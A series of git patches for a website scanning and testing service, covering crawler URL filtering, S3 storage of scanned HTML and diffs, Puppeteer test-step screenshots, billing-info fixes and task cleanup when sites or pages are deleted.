+                    images_score = images_data['average_score'] / 100
+
+                # weights
+                images_w = 4
+            except Exception as e:
+                    print(e)
         
         
 

From ed60506cd8fa1c4e07698235ba8cc9983bb15dd9 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 11:54:43 -0500
Subject: [PATCH 0117/1099] added more extentions to bad_end_list url verifier

---
 app/api/utils/crawler.py | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index d0599ed2..558b7f6d 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -22,7 +22,16 @@ def url_is_valid(url):
             bad_str_list = ['cdn-cgi']
             bad_end_list = [
                 '.png', '.jpg', '.pdf', '.jpeg', 
-                '.json', '.docs'
+                '.json', '.doc', '.svg', '.ppt', 
+                '.pptx', '.ods', '.docx', '.mp3',
+                '.mp4', '.wma', '.ogg', '.mpa', 
+                '.wpl', '.zip', '.pkg', '.tar.gz', 
+                '.deb', '.z', '.rpm', '.7z', '.bin', 
+                '.dmg', '.iso', '.toast', '.vcd',
+                '.csv', 'xml', '.db', '.dbf', '.dat',
+                '.log', '.mdb', '.sql', '.tar', '.sav',
+                '.webp', '.tiff', '.tif', '.psd', '.ps',
+                '.ico', '.gif', '.bmp'
             ]
             if not (url.startswith(self.url) or url.startswith('/')):
                 return False

From fb3821f71f82f404ec9a9252463fd391d0bf3de8 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 13:06:47 -0500
Subject: [PATCH 0118/1099] new method for getting audit data

---
 app/api/utils/reporter.py | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 10579473..62c00202 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -260,9 +260,11 @@ def get_audits(self, uri=str):
         Downloads teh JSON file from the passed uri
         and return the data as a python dict
         """
-        uri = 'static/sites/' + uri.lstrip(f'{settings.AWS_S3_URL_PATH}')
-        audits_raw = self.s3.get_object(Bucket=settings.AWS_STORAGE_BUCKET_NAME, Key=uri)['Body'].read().decode('utf-8')
-        audits = json.loads(audits_raw)
+        # uri = 'static/sites/' + uri.lstrip(f'{settings.AWS_S3_URL_PATH}')
+        # audits_raw = self.s3.get_object(Bucket=settings.AWS_STORAGE_BUCKET_NAME, Key=uri)['Body'].read().decode('utf-8')
+        res = requests.get(uri)
+        audits = res.json()
+        # audits = json.loads(audits_raw)
 
         return audits
 

From 0ae562fde790d5796fb0567c8e9e2c0344a4e22a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 13:07:01 -0500
Subject: [PATCH 0119/1099] reverted back to default

---
 k8s/prod/celery-deployment.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 61d95935..eb23e482 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # landonr/scanerr-server:7837ab3 # 
+          image:  <IMAGE> # landonr/scanerr-server:f7ed070 #
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 3"]
           envFrom:

From 171437ac5a6c9173849494f8dfc6afa033cf6fe5 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 17:40:28 -0500
Subject: [PATCH 0120/1099] fixed import bug

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 62c00202..5e129fd1 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -1,5 +1,4 @@
 from ..models import *
-import time, os, sys, json, boto3, textwrap
 import PIL.Image as Img
 from scanerr import settings
 from datetime import datetime, timedelta
@@ -7,6 +6,7 @@
 from reportlab.lib.units import inch
 from reportlab.lib.colors import HexColor
 from reportlab.pdfgen import canvas
+import time, os, sys, json, boto3, textwrap, requests
 
 
 

From 59011e50c9e17893609a3e643745937ce463f492 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 19:36:19 -0500
Subject: [PATCH 0121/1099] organized

---
 .gitignore | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/.gitignore b/.gitignore
index cfb4932a..ed081be4 100644
--- a/.gitignore
+++ b/.gitignore
@@ -12,8 +12,9 @@ __pycache__/
 env/.env.local
 env/.env.dev
 env/.env.prod
+env/.env.stage
 env/.env.prod.db
 app/static*
 # app/api/migrations/*_*.py
 k8s/*/*-configs.yaml
-env/.env.stage
+

From e06c7fe8ce85c26d291a6a0e7e0fd0378be4c50e Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 19:36:28 -0500
Subject: [PATCH 0122/1099] fixed error in get billing info

---
 app/api/v1/billing/views.py | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 2b67a26f..b2b4a525 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -301,16 +301,20 @@ class GetBillingInfo(APIView):
     def post(self, request):  
         user = request.user
         if Account.objects.filter(user=user).exists():
-            card = Card.objects.get(user=user)
             account = Account.objects.get(user=user)
+            card = None
+            
+            if Card.objects.filter(user=user).exists():
+                _card = Card.objects.get(user=user)
+                card = {
+                    'brand': _card.brand,
+                    'exp_year': _card.exp_year,
+                    'exp_month': _card.exp_month,
+                    'last_four': _card.last_four,
+                }
 
             data = {
-                'card': {
-                    'brand': card.brand,
-                    'exp_year': card.exp_year,
-                    'exp_month': card.exp_month,
-                    'last_four': card.last_four,
-                },
+                'card': card,
                 'plan': {
                     'name': account.type,
                     'active': account.active,

From db002dc5cc7b907336a53c0a1e8a8547d4852236 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 9 Aug 2023 19:26:23 -0500
Subject: [PATCH 0123/1099] updated caser

---
 app/api/utils/caser.py | 23 ++++++++++++++++-------
 1 file changed, 16 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 54f2d814..e8597f41 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -52,7 +52,7 @@ def update_testcase(
     @sync_to_async
     def format_element(self, element):
         elememt = json.dumps(element).rstrip('"').lstrip('"')
-        return element
+        return str(element)
 
 
 
@@ -150,7 +150,16 @@ async def run(self):
         i = 0
         for step in self.steps:
             print(f'-- running step #{i+1} --')
-            # print(f'step contents: {step}')
+
+
+            # adding catch if nav is not first
+            if i == 0 and step['action']['type'] != 'navigate':
+                print(f'navigating to {self.site_url} before first step')
+                # using puppeteer, navigate to site root path & wait for page to load
+                await self.page.goto(f'{self.site_url}', self.page_options)
+                time.sleep(int(self.configs['min_wait_time']))
+
+
 
             if step['action']['type'] == 'navigate':
                 exception = None
@@ -196,9 +205,9 @@ async def run(self):
                     print(f'clicking element -> {step["action"]["element"]}')
                     # using puppeteer, find and click on the 'element' 
                     selector = await self.format_element(step["action"]["element"])
-                    await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
+                    await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))                 
                     # scrolling to element using plain JavaScript
-                    await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()')
+                    await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
                     element = await self.page.J(selector)
                     await element.click()
                     time.sleep(int(self.configs['min_wait_time']))
@@ -233,7 +242,7 @@ async def run(self):
                         selector = await self.format_element(step["action"]["element"])
                         await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
                         # scrolling to element using plain JavaScript 
-                        await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()')
+                        await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
                         element = await self.page.J(selector)
                         await element.click(clickCount=3)
                     await self.page.keyboard.type(step["action"]["value"])
@@ -299,8 +308,8 @@ async def run(self):
                     selector = await self.format_element(step["assertion"]["element"])
                     await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
                     # scrolling to element using plain JavaScript
-                    await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()')
-                    elementText = await self.page.evaluate(f'document.querySelector({selector}).textContent')
+                    await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
+                    elementText = await self.page.evaluate(f'document.querySelector("{selector}").textContent')
                     elementText = elementText.strip()
                     print(f'elementText => {elementText}')
                     print(f'value => {step["assertion"]["value"]}')

From 892b47cd31b02d5cdcb22775d5b4279e37b819e1 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 10 Aug 2023 19:51:20 -0500
Subject: [PATCH 0124/1099] added screenshots to all steps

---
 app/api/utils/caser.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index e8597f41..271dac9f 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -164,7 +164,6 @@ async def run(self):
             if step['action']['type'] == 'navigate':
                 exception = None
                 passed = True
-                image = None
                 await self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
@@ -175,6 +174,7 @@ async def run(self):
                     # using puppeteer, navigate to requested path & wait for page to load
                     await self.page.goto(f'{self.site_url}{step["action"]["path"]}', self.page_options)
                     time.sleep(int(self.configs['min_wait_time']))
+                    image = await self.save_screenshot(page=self.page)
 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
@@ -195,7 +195,6 @@ async def run(self):
             if step['action']['type'] == 'click':
                 exception = None
                 passed = True
-                image = None
                 await self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
@@ -211,6 +210,7 @@ async def run(self):
                     element = await self.page.J(selector)
                     await element.click()
                     time.sleep(int(self.configs['min_wait_time']))
+                    image = await self.save_screenshot(page=self.page)
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
@@ -229,7 +229,6 @@ async def run(self):
             if step['action']['type'] == 'change':
                 exception = None
                 passed = True
-                image = None
                 await self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
@@ -247,6 +246,7 @@ async def run(self):
                         await element.click(clickCount=3)
                     await self.page.keyboard.type(step["action"]["value"])
                     time.sleep(int(self.configs['min_wait_time']))
+                    image = await self.save_screenshot(page=self.page)
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
@@ -265,7 +265,6 @@ async def run(self):
             if step['action']['type'] == 'keyDown':
                 exception = None
                 passed = True
-                image = None
                 await self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
@@ -276,6 +275,7 @@ async def run(self):
                     # using puppeteer, press the selected key
                     await self.page.keyboard.press(step['action']['key'])
                     time.sleep(int(self.configs['min_wait_time']))
+                    image = await self.save_screenshot(page=self.page)
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
@@ -296,7 +296,6 @@ async def run(self):
             if step['assertion']['type'] == 'match':
                 exception = None
                 passed = True
-                image = None
                 await self.update_testcase(
                     index=i, type='assertion', 
                     start_time=datetime.now()
@@ -314,6 +313,7 @@ async def run(self):
                     print(f'elementText => {elementText}')
                     print(f'value => {step["assertion"]["value"]}')
                     assert elementText == step["assertion"]["value"]
+                    image = await self.save_screenshot(page=self.page)
 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
@@ -332,7 +332,6 @@ async def run(self):
             if step['assertion']['type'] == 'exists':
                 exception = None
                 passed = True
-                image = None
                 await self.update_testcase(
                     index=i, type='assertion', 
                     start_time=datetime.now()
@@ -344,6 +343,7 @@ async def run(self):
                     selector = await self.format_element(step["assertion"]["element"])
                     await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
                     await self.page.J(selector)
+                    image = await self.save_screenshot(page=self.page)
 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)

From 780ae72b9a813c4493d0866ea01e68f3a8291680 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 12 Aug 2023 15:53:50 -0500
Subject: [PATCH 0125/1099] migrated html data to s3 from DB

---
 .gitignore               |  2 +-
 app/api/models.py        | 26 ++++-------------------
 app/api/utils/scanner.py | 42 ++++++++++++++++++++++++++++++++-----
 app/api/utils/tester.py  | 45 +++++++++++++++++++++++++++++++++++-----
 4 files changed, 82 insertions(+), 33 deletions(-)

diff --git a/.gitignore b/.gitignore
index ed081be4..d462f57a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -15,6 +15,6 @@ env/.env.prod
 env/.env.stage
 env/.env.prod.db
 app/static*
-# app/api/migrations/*_*.py
+app/api/migrations/*_*.py
 k8s/*/*-configs.yaml
 
diff --git a/app/api/models.py b/app/api/models.py
index 7ec9b1d2..6f9107ad 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -126,14 +126,7 @@ def get_lh_default():
             "crux": None, 
             "average": None
        },
-       "audits": {
-            "seo": [], 
-            "performance": [], 
-            "accessibility": [], 
-            "best-practices": [],
-            "pwa": [], 
-            "crux": []
-       },
+       "audits": None,
     }
     return lh_default
 
@@ -154,18 +147,7 @@ def get_yl_default():
             "fonts": None,
             "serverConfig": None,
        },
-       "audits": {
-            "pageWeight": [], 
-            "requests": [], 
-            "domComplexity": [], 
-            "javascriptComplexity": [],
-            "badJavascript": [],
-            "jQuery": [],
-            "cssComplexity": [],
-            "badCSS": [],
-            "fonts": [],
-            "serverConfig": [],
-       },
+       "audits": None,
     }
     return yl_default
 
@@ -349,7 +331,7 @@ class Scan(models.Model):
     type = models.JSONField(serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
-    html = models.TextField(serialize=True, null=True, blank=True)
+    html = models.CharField(max_length=5000, serialize=True, null=True, blank=True)
     logs = models.JSONField(serialize=True, null=True, blank=True)
     images = models.JSONField(serialize=True, null=True, blank=True)
     lighthouse = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_default)
@@ -373,7 +355,7 @@ class Test(models.Model):
     post_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='post_scan')
     score = models.FloatField(serialize=True, null=True, blank=True)
     component_scores = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_default)
-    html_delta = models.JSONField(serialize=True, null=True, blank=True)
+    html_delta = models.CharField(max_length=5000, serialize=True, null=True, blank=True)
     logs_delta = models.JSONField(serialize=True, null=True, blank=True)
     lighthouse_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_delta_default)
     yellowlab_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_delta_default)
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index b89976c2..37b512a5 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -10,7 +10,8 @@
 from .yellowlab import Yellowlab
 from .image import Image
 from datetime import datetime
-import time, os, sys, json, asyncio
+from scanerr import settings
+import time, os, sys, json, asyncio, uuid, boto3
 
 
 
@@ -394,6 +395,39 @@ def _html_and_logs(scan_id, test_id, automation_id):
         returns -> `Scan` <obj>
     """
     scan = Scan.objects.get(id=scan_id)
+    # setup boto3 configurations
+    s3 = boto3.client(
+        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+
+    def save_html(html, scan):
+        # save html data as text file
+        file_id = uuid.uuid4()
+        with open(f'{file_id}.txt', 'w') as fp:
+            fp.write(html)
+        
+        # upload to s3 and return url
+        html_file = os.path.join(settings.BASE_DIR, f'{file_id}.txt')
+        remote_path = f'static/sites/{scan.site.id}/{scan.page.id}/{scan.id}/{file_id}.txt'
+        root_path = settings.AWS_S3_URL_PATH
+        html_url = f'{root_path}/{remote_path}'
+    
+        # upload to s3
+        with open(html_file, 'rb') as data:
+            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "text/plain"}
+            )
+        
+        # save to scan obj
+        scan.html = html_url
+        scan.save()
+
+        # remove local copy
+        os.remove(html_file)
+
     try:
         if scan.configs['driver'] == 'selenium':
 
@@ -405,8 +439,7 @@ def _html_and_logs(scan_id, test_id, automation_id):
             if 'html' in scan.type or 'full' in scan.type:
                 html = driver.page_source
                 scan = Scan.objects.get(id=scan_id)
-                scan.html = html
-                scan.save()
+                save_html(html, scan)
             if 'logs' in scan.type or 'full' in scan.type:
                 logs = driver.get_log('browser')
                 scan = Scan.objects.get(id=scan_id)
@@ -425,8 +458,7 @@ def _html_and_logs(scan_id, test_id, automation_id):
             if 'html' in scan.type or 'full' in scan.type:
                 html = driver_data['html']
                 scan = Scan.objects.get(id=scan_id)
-                scan.html = html
-                scan.save()
+                save_html(html, scan)
             if 'logs' in scan.type or 'full' in scan.type:
                 logs = driver_data['logs']
                 scan = Scan.objects.get(id=scan_id)
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index dd4fbdb8..2268a17c 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -1,8 +1,10 @@
 from ..models import *
-import time, os, sys, json, random, string, re
-from difflib import SequenceMatcher, HtmlDiff, Differ
 from datetime import datetime
 from .image import Image
+from scanerr import settings
+from difflib import SequenceMatcher, HtmlDiff, Differ
+import time, os, sys, json, random, string, re, requests, uuid, boto3
+
 
 
 
@@ -17,10 +19,20 @@ def __init__(self, test):
         self.delta_html_post = []
         self.delta_html_pre = []
 
+        # setup boto3 configurations
+        self.s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
 
     def clean_html(self):
-        pre_scan_html = self.test.pre_scan.html.splitlines()
-        post_scan_html = self.test.post_scan.html.splitlines()
+        pre_scan_html_raw = requests.get(self.test.pre_scan.html).text
+        post_scan_html_raw = requests.get(self.test.post_scan.html).text
+        pre_scan_html = pre_scan_html_raw.splitlines()
+        post_scan_html = post_scan_html_raw.splitlines()
 
         white_list = ['csrfmiddlewaretoken', '<!DOCTYPE html>',]
         tags = [
@@ -467,6 +479,7 @@ def run_test(self, index=None):
 
         # default data
         html_delta_context = None
+        html_delta_uri = None
         logs_delta_context = None
         lighthouse_data = None
         yellowlab_data = None
@@ -496,6 +509,28 @@ def run_test(self, index=None):
                     "pre_micro_delta": delta_html_data['pre_micro_delta'],
                     "post_micro_delta": delta_html_data['post_micro_delta'],
                 }
+
+                # save html_delta s3 json file
+                file_id = uuid.uuid4()
+                with open(f'{file_id}.json', 'w') as fp:
+                    json.dump(html_delta_context, fp)
+                
+                # upload to s3 and return url
+                html_delta_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+                remote_path = f'static/sites/{self.test.site.id}/{self.test.page.id}/{self.test.id}/{file_id}.json'
+                root_path = settings.AWS_S3_URL_PATH
+                html_delta_uri = f"{root_path}/{remote_path}"
+            
+                # upload to s3
+                with open(html_delta_file, 'rb') as data:
+                    self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+                    )
+                # remove local copy
+                os.remove(html_delta_file)
+
+                print(f'html_delta => {html_delta_uri}')
+
             except Exception as e:
                 print(e)
         
@@ -613,7 +648,7 @@ def run_test(self, index=None):
 
 
         self.test.time_completed = datetime.now()
-        self.test.html_delta = html_delta_context
+        self.test.html_delta = html_delta_uri
         self.test.logs_delta = logs_delta_context
         self.test.lighthouse_delta = lighthouse_data
         self.test.yellowlab_delta = yellowlab_data

From 9039cf61e38dd4907815d4acdb9a1c769c29701b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 12 Aug 2023 15:59:09 -0500
Subject: [PATCH 0126/1099] cleaning up leftovers

---
 docker-compose.stage.yml | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 5bd3db6a..8d42a766 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -45,6 +45,3 @@ services:
     depends_on:
       - redis
       - app
-
-volumes:
-  pgdata:

From 0ff0a06b710b3d8cf62887f95cb9bf717cc3d905 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 13 Aug 2023 12:04:22 -0500
Subject: [PATCH 0127/1099] fixed error message

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 73cabcac..9214e154 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1785,7 +1785,7 @@ def create_or_update_schedule(request):
 
         else:
             if PeriodicTask.objects.filter(name=task_name).exists():
-                data = {'reason': 'Task has already be created',}
+                data = {'reason': 'Schedule already exists',}
                 record_api_call(request, data, '401')
                 return Response(data, status=status.HTTP_401_UNAUTHORIZED)
                 

From cc18d66779a1f32ae79412eb1ca3dc5c149abf9f Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 13 Aug 2023 13:00:24 -0500
Subject: [PATCH 0128/1099] fixing old scan issues

---
 app/api/utils/image.py   |  4 +-
 app/api/utils/scanner.py | 91 +++++++++++++++++++++++-----------------
 2 files changed, 55 insertions(+), 40 deletions(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index b00ceedf..3e63ba42 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -226,7 +226,7 @@ def scan(self, scan, configs, driver=None,):
 
     def scan_full(self, scan, configs, driver=None,):
         """
-        Grabs multiple screenshots of the website and uploads 
+        Grabs full length screenshots of the website and uploads 
         them to s3.
         """
 
@@ -724,7 +724,7 @@ def get_active_global_masks():
 
     async def scan_p_full(self, scan, configs):
         """
-        Using Puppeteer, grabs multiple screenshots of the website and uploads 
+        Using Puppeteer, grabs full length screenshots of the website and uploads 
         them to s3.
         """
 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 37b512a5..1f7bb657 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -84,7 +84,7 @@ def first_scan(self):
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = self.driver.get_log('browser')
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = Image().scan(scan=self.scan, driver=self.driver, configs=self.configs)
+                images = Image().scan_full(scan=self.scan, driver=self.driver, configs=self.configs)
             quit_driver(self.driver)
         else:
             driver_data = asyncio.run(
@@ -98,7 +98,7 @@ def first_scan(self):
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = driver_data['logs']
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = asyncio.run(Image().scan_p(scan=self.scan, configs=self.configs))
+                images = asyncio.run(Image().scan_p_full(scan=self.scan, configs=self.configs))
         
         if 'lighthouse' in self.scan.type or 'full' in self.scan.type:
             lh_data = Lighthouse(scan=self.scan, configs=self.configs).get_data() 
@@ -106,7 +106,7 @@ def first_scan(self):
             yl_data = Yellowlab(scan=self.scan, configs=self.configs).get_data()
 
         if html is not None:
-            self.scan.html = html
+            save_html(html, self.scan)
         if logs is not None:
             self.scan.logs = logs
         if images is not None:
@@ -162,7 +162,7 @@ def second_scan(self):
             if 'logs' in second_scan.type or 'full' in second_scan.type:
                 logs = self.driver.get_log('browser')
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = Image().scan(scan=second_scan, driver=self.driver, configs=self.configs)
+                images = Image().scan_full(scan=second_scan, driver=self.driver, configs=self.configs)
             quit_driver(self.driver)
         else:
             driver_data = asyncio.run(
@@ -176,7 +176,7 @@ def second_scan(self):
             if 'logs' in second_scan.type or 'full' in second_scan.type:
                 logs = driver_data['logs']
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = asyncio.run(Image().scan_p(scan=second_scan, configs=self.configs))
+                images = asyncio.run(Image().scan_p_full(scan=second_scan, configs=self.configs))
         
         if 'lighthouse' in second_scan.type or 'full' in second_scan.type:
             lh_data = Lighthouse(scan=second_scan, configs=self.configs).get_data() 
@@ -184,7 +184,7 @@ def second_scan(self):
             yl_data = Yellowlab(scan=second_scan, configs=self.configs).get_data()
 
         if html is not None:
-            second_scan.html = html
+            save_html(html, second_scan)
         if logs is not None:
             second_scan.logs = logs
         if images is not None:
@@ -333,6 +333,53 @@ def update_page_info(scan):
 
 
 
+def save_html(html, scan):
+    """
+        Saves html page source as a '.txt' file and uploads 
+        to s3. Then saves the remote uri to the `scan` obj.
+
+        returns -> `Scan` <obj>
+    """
+
+    # setup boto3 configuration
+    s3 = boto3.client(
+        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+    
+    # save html data as text file
+    file_id = uuid.uuid4()
+    with open(f'{file_id}.txt', 'w') as fp:
+        fp.write(html)
+    
+    # upload to s3 and return url
+    html_file = os.path.join(settings.BASE_DIR, f'{file_id}.txt')
+    remote_path = f'static/sites/{scan.site.id}/{scan.page.id}/{scan.id}/{file_id}.txt'
+    root_path = settings.AWS_S3_URL_PATH
+    html_url = f'{root_path}/{remote_path}'
+
+    # upload to s3
+    with open(html_file, 'rb') as data:
+        s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+            remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "text/plain"}
+        )
+    
+    # save to scan obj
+    scan.html = html_url
+    scan.save()
+
+    # remove local copy
+    os.remove(html_file)
+
+    return scan
+
+
+
+
+
+
 def check_scan_completion(scan, test_id, automation_id):
     """
         Method that checks if the scan has finished all 
@@ -395,38 +442,6 @@ def _html_and_logs(scan_id, test_id, automation_id):
         returns -> `Scan` <obj>
     """
     scan = Scan.objects.get(id=scan_id)
-    # setup boto3 configurations
-    s3 = boto3.client(
-        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
-
-    def save_html(html, scan):
-        # save html data as text file
-        file_id = uuid.uuid4()
-        with open(f'{file_id}.txt', 'w') as fp:
-            fp.write(html)
-        
-        # upload to s3 and return url
-        html_file = os.path.join(settings.BASE_DIR, f'{file_id}.txt')
-        remote_path = f'static/sites/{scan.site.id}/{scan.page.id}/{scan.id}/{file_id}.txt'
-        root_path = settings.AWS_S3_URL_PATH
-        html_url = f'{root_path}/{remote_path}'
-    
-        # upload to s3
-        with open(html_file, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "text/plain"}
-            )
-        
-        # save to scan obj
-        scan.html = html_url
-        scan.save()
-
-        # remove local copy
-        os.remove(html_file)
 
     try:
         if scan.configs['driver'] == 'selenium':

From d1932d0ac1a2e582b0d0f6a5e31267d17e2fbdbb Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 13 Aug 2023 14:47:53 -0500
Subject: [PATCH 0129/1099] added task deletion for page & site removal

---
 app/api/v1/ops/services.py | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9214e154..a500c51d 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -290,6 +290,9 @@ def delete_site(request, id):
     # remove s3 objects
     delete_site_s3_bg.delay(site_id=id)
     
+    # remove any associated tasks 
+    delete_tasks(site=site)
+    
     # remove site
     site.delete()
 
@@ -320,6 +323,7 @@ def delete_many_sites(request):
                 site = Site.objects.get(id=id)
                 if site.account == account:
                     delete_site_s3_bg.delay(site_id=id)
+                    delete_tasks(site=site)
                     site.delete()
                 num_succeeded += 1
                 succeeded.append(str(id))
@@ -637,6 +641,9 @@ def delete_page(request, id):
 
     # remove s3 objects
     delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
+
+    # remove any schedules and associated tasks
+    delete_tasks(page=page)
     
     # remove page
     page.delete()
@@ -668,6 +675,7 @@ def delete_many_pages(request):
                 page = Page.objects.get(id=id)
                 if page.account == account:
                     delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
+                    delete_tasks(page=page)
                     page.delete()
                 num_succeeded += 1
                 succeeded.append(str(id))
@@ -1941,6 +1949,19 @@ def delete_schedule(request, id):
 
 
 
+def delete_tasks(page=None, site=None):
